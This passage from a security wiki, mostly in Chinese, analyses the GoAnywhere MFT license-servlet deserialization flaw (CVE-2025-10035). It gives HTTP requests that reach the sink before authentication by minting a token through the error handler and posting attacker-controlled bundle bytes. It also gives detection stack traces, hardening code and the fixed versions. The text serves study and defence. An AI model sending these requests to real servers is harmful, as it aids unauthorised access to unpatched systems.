- Alternate reachable path: 找到一个在服务器端反序列化内部对象但不强制执行 verify() 的路径,或在特定模式下跳过签名检查的路径。
|
||||
|
||||
如果没有上述任一情况,即使存在 deserialization sink,签名验证也会阻止利用。
|
||||
|
||||
## 通过错误处理流程的预认证可达性
|
||||
|
||||
即便某个反序列化端点看似需要认证或会话绑定的令牌,错误处理代码也可能无意中为未认证会话生成并附加该令牌。
|
||||
|
||||
示例可达链(GoAnywhere MFT):
|
||||
- Target servlet: /goanywhere/lic/accept/<GUID> 需要会话绑定的 license request token。
|
||||
- Error path: 访问 /goanywhere/license/Unlicensed.xhtml(附带尾随垃圾和无效的 JSF 状态)会触发 AdminErrorHandlerServlet,其执行:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- 重定向到厂商 license server,带有在 bundle=<...> 中的已签名 license 请求
|
||||
- 该 bundle 可以离线解密(硬编码密钥)以恢复 GUID。保留相同的会话 cookie 并向 /goanywhere/lic/accept/<GUID> POST 攻击者控制的 bundle 字节,即可在未认证状态下触达 SignedObject sink。
|
||||
|
||||
Proof-of-reachability (impact-less) probe:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- 未修补: 302 Location header 指向 https://my.goanywhere.com/lic/request?bundle=... 并且 Set-Cookie: ASESSIONID=...
|
||||
- 已修补: 重定向不带 bundle(不生成 token)。
|
||||
|
||||
## 蓝队检测
|
||||
|
||||
堆栈跟踪/日志中的迹象强烈表明尝试命中 SignedObject-gated sink:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## 硬化建议
|
||||
|
||||
- 在任何 getObject() 调用之前保持签名验证,并确保验证使用预期的公钥/算法。
|
||||
- 将直接的 SignedObject.getObject() 调用替换为一个经过强化的包装器,该包装器会对内部流重新应用过滤(例如,使用 ValidatingObjectInputStream/ObjectInputFilter 的 deserializeUntrustedSignedObject 和 allow-lists)。
|
||||
- 移除在错误处理流程中为未认证用户签发会话绑定令牌的做法。将错误路径视为攻击面。
|
||||
- 优先使用 Java serialization filters (JEP 290),对外层和内层的反序列化都使用严格的 allow-lists。示例:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## 示例攻击链回顾 (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting via error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
收到带有 bundle=... 和 ASESSIONID=... 的 302;离线解密 bundle 来恢复 GUID。
|
||||
|
||||
2) 使用相同的 cookie 在 pre-auth 阶段到达 sink:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE requires a correctly signed SignedObject wrapping a gadget chain. 研究人员无法绕过签名验证;利用取决于获得匹配的 private key 或 signing oracle。
|
||||
|
||||
## Fixed versions and behavioural changes
|
||||
|
||||
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
|
||||
- 通过将 SignedObject.getObject() 替换为一个包装器 (deserializeUntrustedSignedObject) 来强化内部反序列化。
|
||||
- 移除 error-handler 的 token 生成,关闭 pre-auth 的可到达性。
|
||||
|
||||
## Notes on JSF/ViewState
|
||||
|
||||
该可到达性技巧利用了一个 JSF 页面 (.xhtml) 和无效的 javax.faces.ViewState,将流程导入到一个有特权的错误处理器。虽然这不是一个 JSF 反序列化问题,但它是一个反复出现的 pre-auth 模式:进入执行有特权操作并设置安全相关会话属性的错误处理器。
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user